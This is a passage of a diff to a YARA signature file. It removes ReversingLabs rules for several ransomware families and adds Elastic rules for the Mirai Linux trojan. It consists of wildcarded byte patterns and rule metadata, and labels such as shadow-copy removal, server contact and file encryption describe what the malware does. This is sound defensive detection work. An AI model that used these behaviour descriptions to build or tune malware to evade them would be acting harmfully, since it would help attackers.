-          8D 4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56
-          FF 15 ?? ?? ?? ?? 8B 45 ?? 53 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ??
-          ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ??
-          ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 EB 06 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 57 C7 45 ?? ?? ?? ?? ?? C7 45 ??
-      }
-		$tlocker_contact_server_2_2 = {
-          ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B D8 FF D6 85 DB 74 06 8B 55 ?? 52 FF D6 8B 75 ?? 33 C0 83 7D ?? ?? 0F 94 C0 8B F8 85
-          FF 74 18 8B 0D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB 5E 8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 75
-          34 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B D1 41 89 0D ?? ?? ?? ?? 85 D2 7E 71 8B 0D ?? ?? ?? ?? 3B C1 73 08 8B C8 89 0D
-          ?? ?? ?? ?? 2B C1 3D ?? ?? ?? ?? 72 1C A1 ?? ?? ?? ?? 40 83 F8 ?? 7E 05 A1 ?? ?? ?? ?? 8B C8 A3 ?? ?? ?? ?? E8 ?? ?? ??
-          ?? 81 3D ?? ?? ?? ?? ?? ?? ?? ?? 75 0B 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 85
-          FF 75 17 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 E5 FD FF FF A3 ?? ?? ?? ?? EB BF 5F 5E 5B 8B E5 5D C3
-      }
-		$tlocker_get_server_data = {
-          55 8B EC 83 EC ?? 56 57 33 FF 57 57 8D 45 ?? 50 53 33 F6 FF 15 ?? ?? ?? ?? 85 C0 74 77 8D 49 ?? 8B 4D ?? 03 CF 85 F6 75
-          73 33 C0 85 C9 74 0F 8B 15 ?? ?? ?? ?? 51 50 52 FF 15 ?? ?? ?? ?? 33 C9 85 C0 0F 95 C1 8B F0 8B C1 85 C0 74 33 8B 55 ??
-          8D 4D ?? 51 52 8D 04 37 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 1C 8B 45 ?? 85 C0 74 ?? 6A ?? 6A ?? 8D 4D ?? 51 53 03 F8 FF 15
-          ?? ?? ?? ?? 85 C0 75 A0 85 F6 74 10 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 33 C0 5E 8B E5 5D C3
-      }
-		$tlocker_remove_shadow_copies = {
-          55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 57 6A ?? 33 FF 57 50 FF 15 ?? ?? ?? ?? 8B D8
-          3B DF 0F 84 DC 00 00 00 56 8D B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-          68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 5E B8 ?? ?? ?? ?? 8B D3 2B D0 0F B7 08 66 89 0C
-          02 83 C0 ?? 66 3B CF 75 F1 6A ?? 8D 95 ?? ?? ?? ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
-          51 8D 95 ?? ?? ?? ?? 52 57 68 ?? ?? ?? ?? 57 57 57 53 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 0F FF
-          15 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B F8 83 BD ?? ?? ?? ?? ?? 74 0B 8B B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53
-          6A ?? 50 FF 15 ?? ?? ?? ?? 5E 8B C7 5F 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 5F 33 CD B8 ?? ?? ?? ?? 5B
-          E8 ?? ?? ?? ?? 8B E5 5D C3
-      }
-		$tlocker_find_files = {
-          55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 0D ?? ?? ?? ?? 8B 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 F6 56 51
-          89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 AD 01 00 00 53 56 56 6A ?? 56 FF 15 ?? ?? ?? ??
-          85 C0 0F 88 89 01 00 00 68 ?? ?? ?? ?? 53 53 FF 15 ?? ?? ?? ?? 8B C3 8D 50 ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85
-          C9 75 F5 2B C2 D1 F8 8B F8 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 4D 01 00 00 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ??
-          ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 15 01 00 00 F6 85 ?? ?? ?? ?? ?? 0F 84 EC 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-          66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0
-          83 D8 ?? 85 C0 0F 84 AE 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66
-          3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 74 74 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF
-          66 8B 08 83 C0 ?? 66 85 C9 75 F5 2B C2 D1 F8 03 C7 8D 44 00 ?? 85 C0 74 6C 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ??
-          8B F0 85 F6 74 57 53 8D 4F ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 56 56 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ??
-          ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF
-          15 ?? ?? ?? ?? 85 C0 0F 85 EB FE FF FF 8B 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ??
-          ?? 8B 15 ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-      }
+		$a = { 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_A6A81F9C : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "a6a81f9c-b43b-4ec3-8b0b-94c1cfee4f08"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L755-L772"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0d31cc1f4a673c13e6c81c492acbe16e1e0dfb0b15913fb276ea4abff18b32af"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "e1ec5725b75e4bb3eefe34a17ced900a16af9329a07a99f18f88aaef2678bfc1"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 41 57 00 54 43 50 00 47 52 45 00 4B 54 00 73 68 65 6C 6C 00 }
 
 	condition:
-		uint16(0)==0x5A4D and (($tlocker_ep and $tlocker_get_server_data and $tlocker_remove_shadow_copies and $tlocker_find_files) and ($tlocker_contact_server_1 or ($tlocker_contact_server_2_1 and $tlocker_contact_server_2_2)))
+		all of them
 }
-rule REVERSINGLABS_Linux_Ransomware_Luckyjoe : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_485C4B13 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects LuckyJoe ransomware."
-		author = "ReversingLabs"
-		id = "8dc98d71-b79d-5b09-9383-11f2b57baeb5"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Linux.Ransomware.LuckyJoe.yara#L1-L146"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1e7df2c45bee072af233cf8f355a84ec931fe96afa3fbdcd225dded1b75ea961"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "485c4b13-3c7c-47a7-b926-8237cb759ad7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L774-L792"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead"
+		logic_hash = "9625e4190559cc77f41ebef24f9bfa5e3d2e2259c12b301148c614b0f98b5835"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "LuckyJoe"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$main_call_p1 = {
-            55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48
-            C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ??
-            48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 75 ?? 48
-            8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? BE ?? ??
-            ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? E8 ?? ??
-            ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 35 ?? ?? ?? ?? 48 83 EC ?? 48 8B 45
-            ?? 6A ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7
-            E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ??
-            ?? ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ??
-            ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48
-        }
-		$main_call_p2 = {
-            89 C7 E8 ?? ?? ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ??
-            ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45
-            ?? 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C2
-            48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 45 ?? 48
-            01 D0 C6 00 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 D0 C6 00 ?? 48 8B 45 ?? 48 8B 55 ?? 48
-            89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? BF ?? ?? ?? ?? E8 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? B8
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45 ??
-            48 83 7D ?? ?? 74 ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8
-        }
-		$main_call_p3 = {
-            E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ??
-            ?? ?? 48 C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45
-            ?? 48 83 7D ?? ?? 74 ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B 45 ?? 48 89
-            C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ??
-            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 48 98 48 8B 84
-            C5 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 98
-            48 8B 84 C5 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 7D ?? ?? 74 ?? BF ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8
-            ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C9 C3
-        }
-		$encrypt_files_p1 = {
-            55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ??
-            ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 D6 F3 48 A5 48 89 F2 48 89 F8 0F B7 0A 66 89
-            08 48 8D 40 ?? 48 8D 52 ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            48 C7 45 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7
-            F3 48 AB 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75
-            ?? 48 8B 85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7
-            E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ??
-            48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48
-            01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ?? ?? BE ?? ??
-            ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ??
-            ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 8B 45
-            ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48
-            89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? EB ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ??
-            ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 45 ?? 48
-        }
-		$encrypt_files_p2 = {
-            89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ??
-            ?? EB ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
-            89 45 ?? 48 83 7D ?? ?? 75 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48
-            8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ?? ??
-            48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ??
-            ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45
-            ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 89 C7 E8 ??
-            ?? ?? ?? 48 01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ??
-            ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B
-            95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
-            ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89
-            C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F
-            85 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
-        }
-		$encrypt_internal_message_p1 = {
-            55 48 89 E5 53 48 83 EC ?? 48 89 7D ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? BF ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8B
-            45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 83 C0 ?? 48 98 48 89 C7 E8 ?? ?? ??
-            ?? 48 89 45 ?? 8B 45 ?? 83 C0 ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ??
-            ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ??
-            8B 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 8B 45 ?? 83 E8 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 66 0F EF C0 F2 0F 2A 45 ??
-            66 0F EF C9 F2 0F 2A 4D ?? F2 0F 5E C1 E8 ?? ?? ?? ?? F2 0F 2C C0 89 45 ?? 8B 45 ??
-            0F AF 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 8B 45 ?? 0F AF 45 ?? 48 63 D0
-            48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 0F AF 45 ?? 89 C3 48 8B
-            45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 8B 45 ?? 89 C1 89 DA BF ?? ?? ?? ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 3B 45 ?? 7D ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 45
-            ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 89
-        }
-		$encrypt_internal_message_p2 = {
-            C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 45 ?? 48 8D
-            34 02 48 8B 4D ?? 48 8B 55 ?? 8B 45 ?? 41 B8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 89 45
-            ?? 8B 45 ?? 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 48
-            8B 05 ?? ?? ?? ?? 48 8B 55 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ??
-            48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 8B 45 ?? 48 63 D0 8B 45 ?? 48 63 C8 48 8B 45 ?? 48 01 C1 48 8B 45 ?? 48 89 C6
-            48 89 CF E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ??
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 8B 45 ?? 01 45 ?? 48 8B 45 ?? 48 89
-            C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 0F 8E ?? ?? ?? ?? 48 8B 45 ?? 48 89
-            C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 4D ?? 48 8B 45 ?? BA ?? ??
-            ?? ?? 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ??
-            48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C4 ?? 5B 5D
-            C3
-        }
+		$a = { 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80 }
 
 	condition:
-		uint32(0)==0x464C457F and ( all of ($main_call_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($encrypt_internal_message_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Plague17 : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_7146E518 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Plague17 ransomware."
-		author = "ReversingLabs"
-		id = "065c47b5-f459-529e-8046-7394a742b50a"
-		date = "2021-02-19"
-		modified = "2021-02-19"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Plague17.yara#L1-L263"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e0e518fc83a62d70b83df273c6ba469e6f0fdf9c035126428ec7561e04437b6f"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "7146e518-f6f4-425d-bac8-b31edc0ac559"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L794-L811"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "374602254be1f5c1dbb00ad25d870722e03d674033dfcf953a2895e1f50c637d"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Plague17"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "334ef623a8dadd33594e86caca1c95db060361c65bf366bacb9bc3d93ba90c4f"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files_p1 = {
-            55 89 E5 57 56 8D 85 ?? ?? ?? ?? 53 81 EC ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 31 C0 66 89
-            85 ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 50 ?? 8B
-            00 66 83 7C 50 ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ??
-            ?? 2B 51 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 4D ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ??
